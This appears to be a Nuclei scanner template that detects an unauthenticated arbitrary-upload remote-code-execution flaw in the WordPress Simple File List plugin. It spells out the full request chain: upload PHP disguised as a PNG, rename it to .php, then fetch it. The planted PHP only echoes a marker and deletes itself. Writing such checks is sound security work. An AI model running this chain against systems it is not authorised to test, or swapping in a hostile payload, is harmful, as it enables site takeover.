75 lines
2.6 KiB
YAML
75 lines
2.6 KiB
YAML
id: wordpress-rce-simplefilelist
|
|
|
|
info:
|
|
name: WordPress SimpleFilelist - Remote Code Execution
|
|
author: princechaddha
|
|
severity: critical
|
|
description: |
|
|
Simple File List WordPress plugin was found to be vulnerable to an unauthenticated arbitrary file upload leading to remote code execution. The Python exploit first uploads a file containing PHP code but with a png image file extension. A second request is sent to move (rename) the png file to a PHP file.
|
|
reference:
|
|
- https://wpscan.com/vulnerability/10192
|
|
classification:
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
|
|
cvss-score: 10
|
|
cwe-id: CWE-77
|
|
metadata:
|
|
max-request: 3
|
|
tags: wp,wpscan,wordpress,wp-plugin,rce,intrusive,fileupload
|
|
|
|
variables:
|
|
filepath: '{{rand_base(7, "abcdefghi")}}'
|
|
string: "wordpress-rce-simplefilelist"
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /wp-content/plugins/simple-file-list/ee-upload-engine.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Accept: */*
|
|
Content-Type: multipart/form-data; boundary=6985fa39c0698d07f6d418b37388e1b2
|
|
|
|
--6985fa39c0698d07f6d418b37388e1b2
|
|
Content-Disposition: form-data; name="eeSFL_ID"
|
|
|
|
1
|
|
--6985fa39c0698d07f6d418b37388e1b2
|
|
Content-Disposition: form-data; name="eeSFL_FileUploadDir"
|
|
|
|
/wp-content/uploads/simple-file-list/
|
|
--6985fa39c0698d07f6d418b37388e1b2
|
|
Content-Disposition: form-data; name="eeSFL_Timestamp"
|
|
|
|
1587258885
|
|
--6985fa39c0698d07f6d418b37388e1b2
|
|
Content-Disposition: form-data; name="eeSFL_Token"
|
|
|
|
ba288252629a5399759b6fde1e205bc2
|
|
--6985fa39c0698d07f6d418b37388e1b2
|
|
Content-Disposition: form-data; name="file"; filename="{{filepath}}.png"
|
|
Content-Type: image/png
|
|
|
|
<?php echo md5("{{string}}");unlink(__FILE__);?>
|
|
--6985fa39c0698d07f6d418b37388e1b2--
|
|
- |
|
|
POST /wp-content/plugins/simple-file-list/ee-file-engine.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
X-Requested-With: XMLHttpRequest
|
|
Accept: */*
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
eeSFL_ID=1&eeFileOld={{filepath}}.png&eeListFolder=%2F&eeFileAction=Rename%7C{{filepath}}.php
|
|
- |
|
|
GET /wp-content/uploads/simple-file-list/{{filepath}}.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body_3
|
|
words:
|
|
- '{{md5(string)}}'
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 4a0a004730450220468406d7fd3f5a430ca59c464f7a38ea5fa76926c59866eae84275d8a1067004022100a404aa2d7213b95e2da9f6d1c651cd5d7528ed1ae4ebad8e1a12751f65d56d76:922c64590222798bb761d5b6d8e72950 |